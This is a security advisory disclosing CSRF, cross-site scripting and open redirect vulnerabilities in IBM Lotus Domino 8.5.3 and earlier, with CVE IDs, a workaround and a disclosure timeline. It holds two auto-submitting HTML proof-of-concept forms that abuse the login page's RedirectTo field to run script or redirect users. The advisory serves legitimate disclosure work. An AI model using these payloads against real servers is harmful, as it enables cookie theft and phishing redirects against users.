SecurityvulnsSECURITYVULNS:DOC:29060CSRF, XSS and Redirector vulnerabilities in IBM Lotus Domino
Hello 3APA3A!
These are Cross-Site Request Forgery, Cross-Site Scripting and Redirector vulnerabilities in IBM Lotus Domino. At 30th of November IBM released the advisory concerning these vulnerabilities.
CVE ID: CVE-2012-4842, CVE-2012-4844.
SecurityVulns ID: 12789.
IBM Security Bulletin for Open Redirect and Cross-Site Scripting vulnerabilities:
http://www-01.ibm.com/support/docview.wss?uid=swg21608160
Affected products:
Vulnerable are IBM Lotus Domino 8.5.3 and previous versions. These vulnerabilities will be fixed in Domino 9.0 and IBM are still working on other vulnerabilities, about which I've informed them. Lotus Domino 9.0 should be released at 14.03.2013.
Before release of new version all users of affected versions of IBM Lotus Domino are vulnerable to these attacks. And IBM didn't fix these holes in current 8.5.x series, only in new 9.0 series. At that they didn't offer any workaround or mitigation for these issues. But I'll offer such workaround (see bellow), which can be used before release of version 9.0 with fixes of these vulnerabilities.
Details:
Cross-Site Request Forgery (WASC-09):
Lack of captcha in login form (http://site/names.nsf) can be used for different attacks - for CSRF-attack to login into account (remote login - to conduct attacks on vulnerabilities inside of account), for XSS attacks, for redirect, for Brute Force (which I described in other advisory) and other automated attacks. Which you can read about in the article "Attacks on unprotected login forms" (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html).
Examples of attacks on XSS and Redirector vulnerabilities with using of this CSRF vulnerability are provided bellow.
Cross-Site Scripting (WASC-08):
For attack it's needed to use working login and password at the site (i.e. the attacker needs to use existent account at the site - his own or someone's account, to which he got access via Brute Force vulnerability).
Exploit:
http://websecurity.com.ua/uploads/2013/IBM%20Lotus%20Domino%20Redirector.html
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/names.nsf?Login" method="post">
<input type="hidden" name="Username" value="login">
<input type="hidden" name="Password" value="password">
<input type="hidden" name="RedirectTo" value="javascript:alert(document.cookie)">
</form>
</body>
Redirector (URL Redirector Abuse) (WASC-38):
For attack it's needed to use working login and password at the site (i.e. the attacker needs to use existent account at the site - his own or someone's account, to which he got access via Brute Force vulnerability).
Exploit:
http://websecurity.com.ua/uploads/2013/IBM%20Lotus%20Domino%20Redirector.html
<body onLoad="document.hack.submit()">
<form name="hack" action=http://site/names.nsf?Login method="post">
<input type="hidden" name="Username" value="login">
<input type="hidden" name="Password" value="password">
<input type="hidden" name="RedirectTo" value="http://websecurity.com.ua">
</form>
</body>
Workaround:
My workaround for these vulnerabilities is the next: turn off html-form for login and use Basic Authentication instead.
Timeline:
Full timeline read in the first advisory (http://securityvulns.ru/docs28474.html).
- During 16.05-20.05 I've wrote announcements about multiple vulnerabilities in IBM software at my site.
- During 16.05-20.05 I've wrote five advisories via contact form at IBM site.
- At 31.05 I've resend five advisories to IBM PSIRT, which they received and said they would send them to the developers (of Lotus products).
- At 30.11.2012 IBM released their advisory (about Cross-Site Scripting and Redirector holes).
- At 14.12.2012 I've informed SecurityVulns about it.
- At 15.02.2013 I've disclosed these vulnerabilities at my site (http://websecurity.com.ua/5835/).
